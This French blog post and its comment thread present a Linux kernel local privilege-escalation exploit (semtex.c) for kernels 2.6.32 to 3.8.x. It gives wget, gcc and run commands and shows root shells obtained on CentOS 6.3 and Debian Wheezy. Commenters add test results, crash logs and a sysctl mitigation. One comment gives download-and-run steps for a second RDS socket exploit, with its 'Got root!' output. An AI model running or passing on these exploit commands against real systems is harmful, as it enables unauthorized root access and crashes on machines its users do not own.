Local Root Exploit pour les noyaux linux 2.6.32 à 3.8.10


Hacking
Une nouvelle faille 0day vient d'être découverte dans le noyau Linux et elle permet à un simple utilisateur de passer root sur une machine. Cette vulnérabilité affecte les distributions Linux basées sur des versions du kernel comprises entre la 2.6.32 et la à 3.8.8.

Bug dans le Kernel Linux

Les versions récentes de Red Hat 6.3, Centos 6.3 (même avec SELinux d'activé) et Debian Wheezy 7.0 sont concernées. Le seul moyen de contrer cette attaque est de mettre à jour votre système.

Voici un exemple d'utilisation de l'exploit :

$ wget www.tux-planet.fr/public/hack/exploits/kernel/semtex.c
$ gcc -O2 semtex.c
$ ./a.out

Sur une CentOS 6.3 :

$ cat /etc/redhat-release
CentOS release 6.3 (Final)
$ uname -a
Linux test1.hq.company.com 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=503(user) gid=503(user) groups=503(user)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
-sh-4.1# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Sur une Debian Wheezy 7.0 :

% cat /etc/debian_version
7.0
% uname -a
Linux ops-02 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
% id
uid=1000(user) gid=1000(user) groups=1000(user), 24(cdrom), 25(floppy), 27(sudo), 29(audio), 30(dip), 44(video), 46(plugdev), 111(libvirt), 113(fuse), 114(lpadmin)
% ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
root@ops-02:~# id
uid=0(root) gid=0(root) groups=0(root), 24(cdrom), 25(floppy), 27(sudo), 29(audio), 30(dip), 44(video), 46(plugdev), 111(libvirt), 113(fuse), 114(lpadmin), 1000(user)

Des explications techniques sont lisibles ici et .


34 Commentaires pour "Local Root Exploit pour les noyaux linux 2.6.32 à 3.8.10"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Impossible à reproduire sous un kernel 3.5...
    a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.

    RépondreRépondre
    blue112 , le 15 mai 2013 à 18:55
  •  

    Exploit testé sur mon serveur sous Debian Wheezy.

    Du coup, ma question est peut-être bête mais que faut-il faire exactement pour s'en prémunir ?

    Car mon système est à jour (aptitude update & aptitude safe-upgrade).

    RépondreRépondre
    Robin , le 15 mai 2013 à 19:37
  •  

    @Robin :

    >>que faut-il faire exactement pour s'en prémunir ?

    Attendre que les devs Debian proposent un noyau patché. Vu que c'est une faille de sécurité avec un exploit en circulation, tu peux être certain que la correction va arriver très vite sur les dépôts.

    RépondreRépondre
    patrick_g , le 15 mai 2013 à 20:09
  •  

    @blue112 : Idem :
    uname -a
    Linux greg-laptop 3.5.0-28-generic #48-Ubuntu SMP Tue Apr 23 23:05:48 UTC 2013 i686 i686 i686 GNU/Linux

    RépondreRépondre
    greg , le 15 mai 2013 à 20:28
  •  

    J'ai essayé par *curiosité* avec mon archlinux et un noyau 3.9.2, le résultat est sans appel :

    ./a.out
    a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
    Abandon (core dumped)

    [fred@fredo-arch ~]$ uname -a
    Linux fredo-arch 3.9.2-1-ARCH #1 SMP PREEMPT Sat May 11 20:31:08 CEST 2013 x86_64 GNU/Linux

    Et surtout l'exploit ne fonctionne que si une valeur précise est activée dans les options de compilations du noyau : CONFIG_PERF_EVENTS

    RépondreRépondre
    Frederic Bezies , le 15 mai 2013 à 21:30
  •  

    @patrick_g

    BIen noté.

    Du coup, est-ce qu'interdire l'usage des compilateurs aux utilisateurs autres que root est une bonne parade ?

    RépondreRépondre
    Robin , le 15 mai 2013 à 23:44
  •  

    Non.

    RépondreRépondre
    arcanis , le 15 mai 2013 à 23:58
  •  

    Marche pas chez moi..

    max-p@max-p-arch76 ~ % gcc -O2 semtex.c
    max-p@max-p-arch76 ~ % ./a.out
    [1] 6849 killed ./a.out
    137 max-p@max-p-arch76 ~ % uname -a :(
    Linux max-p-arch76 3.8.7-1-ck #1 SMP PREEMPT Sat Apr 13 22:05:49 EDT 2013 x86_64 GNU/Linux

    J'ai probablement pas activé CONFIG_PERF_EVENTS à la compilation.

    Y'a jamais aucun exploit qui marche sur mon PC :(

    RépondreRépondre
    Max-P , le 16 mai 2013 à 02:11
  •  

    Bonjour,

    Je viens d'essayer sur ma debian 7.0 dernier cri mais ca marche pas.
    Peux-être parceque je suis en 32 Bits et l'exploit a l'air d'utiliser le 64bits.

    Robin : empêcher l'utilisation des compilateurs par les autres user ne te garantis aucune sécu car il est tout a fait possible de compiler le script sur une autre machine de même architecture pour ensuite l'exécuter sur la machine cible.

    RépondreRépondre
    Nico , le 16 mai 2013 à 09:01
  •  

    @Robin : Tu peux compiler un noyau 3.9.2 https://www.kernel.org/, c'est pas compliqué ;)

    RépondreRépondre
    Googley , le 16 mai 2013 à 09:01
  •  

    Dans l'exemple, il y a une centos avec un kernel 2.6.32 donc ça fonctionne < 2.6.37 ?

    RépondreRépondre
    Snooze , le 16 mai 2013 à 10:59
  •  

    Hello Snooze,

    Oui je te confirme que cela fonctionne avec le kernel 2.6.32 également :(

    Djerfy

    RépondreRépondre
    Djerfy , le 16 mai 2013 à 16:56
  •  

    Testé sur un 2.6.32, la version par défaut dans le repository proxmox et ca marche.

    $ ./a.out
    2.6.37-3.x x86_64
    sd@fucksheep.org 2010
    # whoami
    root

    RépondreRépondre
    Redcat , le 16 mai 2013 à 18:36
  •  

    @Snooze @Djerfy @Redcat : yes ça marche avec un kernel en version 2.6.32, je corrige l'article.

    RépondreRépondre
    pti-seb , le 16 mai 2013 à 20:05
  •  

    Marche pas chez moi
    (debian 6 à jour)

    $ ./a.out
    2.6.37-3.x x86_64
    sd@fucksheep.org 2010
    Segmentation fault
    cwrsync@b1:~/tmp$
    Message from syslogd@b1 at May 16 20:02:59 ...
    kernel:general protection fault: 0000 [#1] SMP

    Message from syslogd@b1 at May 16 20:02:59 ...
    kernel:Stack:

    Message from syslogd@b1 at May 16 20:02:59 ...
    kernel:Call Trace:

    Message from syslogd@b1 at May 16 20:02:59 ...
    kernel:Code: Bad RIP value.

    cwr@b1:~/tmp$ cd /root
    -bash: cd: /root: Permission denied
    cwr@b1:~/tmp$ id
    uid=1000(cwr) gid=1000(cwr) groups=1000(cwr),107(fuse)

    RépondreRépondre
    fritz2cat , le 16 mai 2013 à 20:08
  •  

    @pti-seb Note que cela ne marche en 2.6.32 que si le kernel est a la sauce RHEL, ce qui est le cas de Proxmox. CF : http://pve.proxmox.com/wiki/Proxmox_VE_Kernel

    Ce qui est confirmé par le patch puisque centos est marqué comme vulnérable en 2.6.32 et elle est également basée sur RHEL

    RépondreRépondre
    Redcat , le 16 mai 2013 à 20:13
  •  

    installation à l'instant du kernel 3.2.41-2 dans les dépots de wheezy sur ma machine passée en wheezy depuis une semaine
    Avant mise à jour la faille marchait sans probleme.
    Après mise à jour elle ne marche plus :-)

    RépondreRépondre
    Dju , le 16 mai 2013 à 21:45
  •  

    @Redcat : ok

    @Dju : bonne nouvelle, même si par le passé, on a vu des patchs arriver avec des temps records. Là, ça fait déjà 48 h que c'est dans la nature. :-)

    RépondreRépondre
    pti-seb , le 16 mai 2013 à 21:47
  •  

    La version minimale du noyau est la 2.6.37 à priori : http://twitpic.com/cr6j30

    RépondreRépondre
    Mr Xhark , le 17 mai 2013 à 14:55
  •  

    @Mr Xhark : ça marche en 2.6.32. Cf les commentaires et mon exemple. J'ai pû le tester personnellement donc l'information est sûr. Par contre, je pense que le 2.6.32 c'est uniquement sur Centos ou des noyaux dérivés de Red Hat.

    RépondreRépondre
    pti-seb , le 17 mai 2013 à 15:05
  •  

    @pti-seb : je viens de remonter les commentaires que je n'avais pas lus ! Effectivement, you're right! ton permalink m'a mis le doute :)

    RépondreRépondre
    Mr Xhark , le 17 mai 2013 à 15:22
  •  

    J'avais oublié de préciser, mais on peut se prémunir contre cet exploit en changeant une option dans le sysctl :

    sysctl kernel.perf_event_paranoid=2
    echo " kernel.perf_event_paranoid = 2" >> /etc/sysctl.conf

    Cela empêchera par contre d'utiliser certains outils comme iotop en tant qu'user non-root

    RépondreRépondre
    Redcat , le 27 mai 2013 à 18:16
  •  

    Quelqu'un a-t'il pu faire fonctionner cet exploit sur une machine virtuelle ?

    Tous mes essais sur des VM (VMware fusion) donnent des crashes : Debian 7 (même kernel que sur cette page), CentOS 6.3 (même kernel aussi), Debian 6, ...

    Exemple :

    user@vmtest:~$ gcc -O2 semtex.c
    user@vmtest:~$ uname -a
    Linux vmtest 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
    user@vmtest:~$ ./a.out
    2.6.37-3.x x86_64
    sd@fucksheep.org 2010

    Message from syslogd@vmtest at May 30 19:16:47 ...
    kernel:[ 106.060844] double fault: 0000 [#1] SMP

    Message from syslogd@vmtest at May 30 19:16:47 ...
    kernel:[ 106.116885] Stack:

    Message from syslogd@vmtest at May 30 19:16:47 ...
    kernel:[ 106.126254] Call Trace:

    Message from syslogd@vmtest at May 30 19:16:47 ...
    kernel:[ 106.127400] Code: 5b 5d 41 5c 41 5d c3 41 57 89 f0 83 e0 02 41 56 41 55 41 54 49 89 f4 55 53 48 89 fb 48 81 ec c8 00 00 00 83 f8 01 19 c0 83 c0 29 44 24 04 65 4c 8b 3c 25 00 c7 00 00 49 8b 87 a8 01 00 00 48
    Erreur de segmentation
    user@vmtest:~$
    Message from syslogd@vmtest at May 30 19:17:01 ...
    kernel:[ 120.039701] Oops: 0002 [#2] SMP

    Message from syslogd@vmtest at May 30 19:17:01 ...
    kernel:[ 120.077850] Stack:

    Message from syslogd@vmtest at May 30 19:17:01 ...
    kernel:[ 120.084833] Call Trace:

    Message from syslogd@vmtest at May 30 19:17:01 ...
    kernel:[ 120.090085] Code: 48 89 df e8 d2 4e d1 ff 85 c0 75 0d 65 48 8b 14 25 00 c7 00 00 48 89 53 18 5b c3 53 48 89 fb 48 83 ec 10 e8 18 f8 ff ff 48 89 df ff 0f 79 05 e8 ba 01 00 00 65 48 8b 04 25 00 c7 00 00 48 89

    Message from syslogd@vmtest at May 30 19:17:01 ...
    kernel:[ 120.104429] CR2: 000003e800000428

    user@vmtest:~$

    class="yarr">RépondreRépondre

    Romain , le 30 mai 2013 à 19:19
  •  

    @Romain : aucun souci dans VirtualBox

    RépondreRépondre
    Mr Xhark , le 30 mai 2013 à 21:50
  •  

    @Mr Xhark : merci, ça marche en effet niquel sur VirtualBox (Mac).
    Mais rien ne fonctionne sur VMware fusion.
    Sur Reddit, les gars évoquent un "shared kernel" par certains hôtes de VM. D'ailleurs, l'exploit peut à priori faire aussi crasher l'hôte... C'est bon à savoir.

    RépondreRépondre
    Romain , le 30 mai 2013 à 23:44
  •  

    @Romain : je tenterai sur un esxi si j'ai encore un hôte vulnérable qui traine... enfin je vais épargner la prod quand même :)

    RépondreRépondre
    Mr Xhark , le 31 mai 2013 à 00:51
  •  

    @Frederic Bezies :
    meme chose sous Mandriva 2010.2 avec noyau 2.6.36.2

    RépondreRépondre
    dn , le 10 juin 2013 à 22:35
  •  

    Sur Openvz, même avec un kernel vulnérable, l'exploit ne marche pas. Il n'y a pas d'accès aux perf events, donc aucun risque.

    Sinon aucun soucis ça fonctionne sur des VM tournant sur ESX 4.1, 5.0 et 5.1. Pas testé sur Fusion.

    Et puis bon je sais qu'on est pas 'dredi le jour du troll, mais de toute facon de la prod sur un Mac... hein... bon... :)

    RépondreRépondre
    Redcat , le 13 juin 2013 à 14:02
  •  

    J'avais qu'un Mac sous la main pour faire le test un soir chez moi. :)
    Depuis, j'ai aussi testé avec succès sur tous les ESX.

    J'étais juste curieux de savoir pourquoi ça ne fonctionne sur aucune VM Fusion (crash quand même).

    RépondreRépondre
    Romain , le 13 juin 2013 à 15:07
  •  

    Bonjour,

    J'ai le même souci que certains d'entre vous à savoir, l'erreur suivante :
    text-exploit: semtex.c:51: sheep: Assertion `!close(fd)' failed

    J'ai une VM sur ESxi 5.1 sous Wheezy.
    Auriez-vous une idée ?

    MErci

    Cdlt,

    RépondreRépondre
    Azigui , le 23 juillet 2013 à 16:28
  •  

    J'ai réglé mon souci en faisant comme suit :

    mkdir test
    cd test
    wget http://www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
    gcc -o rds ./linux-rds-exploit.c
    ./rds

    Vous devriez recevoir comme message :
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Your kernel is not vulnerable.

    ou encore

    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Could not open socket.

    Si vous obtenez quelque chose comme :

    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_proto_ops to 0xf7d2e518
    [+] Resolved rds_ioctl to 0xf7d29000
    [+] Resolved commit_creds to 0xc0450a6f
    [+] Resolved prepare_kernel_cred to 0xc045097a
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    [*] Got root!

    Vous êtes vulnérable.

    RépondreRépondre
    Azigui , le 24 juillet 2013 à 10:30
  •  

    Fonctionne pas sous Debian 6 avec un kernel Proxmox-ve 2.6.32-16-pve

    RépondreRépondre
    Gokukan , le 27 septembre 2013 à 14:12
  •  

    I am looking for linux redhat 3.8 software
    I tried to look for it online but it doesn't exist. is any one have an idea how to get it?

    RépondreRépondre
    zm1326 , le 7 décembre 2014 à 22:05
  •  

    Merci de m’avoir montré ces préventions. J’ai appris à manipuler les noyaux de linux et ces listes de commande me permettront peut être de contrer cette attaque. Merci pour le partage.

    RépondreRépondre
    Ahmad12 , le 15 avril 2016 à 11:55
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum